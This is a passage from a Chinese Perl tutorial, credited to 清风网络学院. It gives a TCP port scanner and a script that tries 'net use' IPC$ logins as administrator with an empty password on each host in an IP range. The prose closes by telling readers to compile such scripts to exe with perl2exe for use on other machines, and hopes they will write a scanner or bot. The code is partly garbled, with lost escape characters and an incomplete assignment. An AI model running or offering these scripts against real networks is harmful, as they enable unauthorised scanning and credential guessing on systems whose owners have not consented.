}
else
{
$maxprt=1500;
}
$AF_INET=2;
$SOCK_STREAM=1;
$sockaddr='S n a4 x8';
chop ($hostname='hostname');
($name,$aliases,$proto)=getprotobyname('tcp');
foreach $port (1 .. $maxprt)
{
($name,$aliases,$port)=getservbyname($port,'tcp')
unless $port=~ /^d+$/;;
($name,$aliases,$type,$len,$thisaddr)=gethostbyname($hostname);
($name,$aliases,$type,$len,$thataddr)=gethostbyname($tghost);
$this=pack($sockaddr,$AF_INET,0,$thisaddr);
$that=pack($sockaddr,$AF_INET,$port,$thataddr);
if ($thataddr eq "")
{
die "non existing host";
}
if (socket(S,$AF_INET,$SOCK_STREAM,$proto))
{
}
else
{
die $!;
}
if (bind(S,$this))
{
}
else
{
die $!;
}
if (connect(S,$that))
{
($srv_name,$srv_aliases,$srv_port,$srv_proto)=getservbyport($port,'tcp');
print "r$port $srv_namen";
close(S);
}
else
{
print "r($port)";
}
}
print "r n";
#########################################################################
系统调用 system
######################################################################
system ('cls');
print("Copyright isbase n");
print("******** www.isbase.com nnn");
print("请输入IP n");
print("EX: 202.96 n");
$netaddress =
$password = '""'
chop($netaddress);
print("nn");
$host = 1;
$name = administrator;
while ($host < 256)
{
print ("net use \\$netaddress.$host\ipc$ $password /user:$name");
print ("nn");
system ("net use \\$netaddress.$host\ipc$ $password /user:$name");
#调用系统 net use \ip 密码 用户名
$host++;
}
######################################################################
上面这个程序充分利用了NT本身的一些命令,自动的对指定ip范围内做用户名和密码的校验。由于时间仓促我写的很简单,我想你可以做的更好.
怎么把写好的pl在其他机器上使用
这里有一个很好的办法,你可以把你写好的perl程序TO exe
你可以到这个地址http://www.indigostar.com/p2x56.zip 下一个perl2exe 然后编译成exe文件。著名的NT扫描软件gnti.exe就是perl2exe编写的,希望不久的将来你也能写出一个经典的scanner or bot!
在此我想说明的我不是在教你如何去使用perl或写出scan for perl给大家使用,我真心的希望更多的人能去学习她,用她来编写出自己的列子more &more 。
最后用perl之父的一句话来结束我们的学习
解决问题的方法不止一种!
(出处:清风网络学院)
上一篇:功能丰富的Perl:遗传算法仿真多细胞机体
下一篇:简单的PERL-ADO例子
|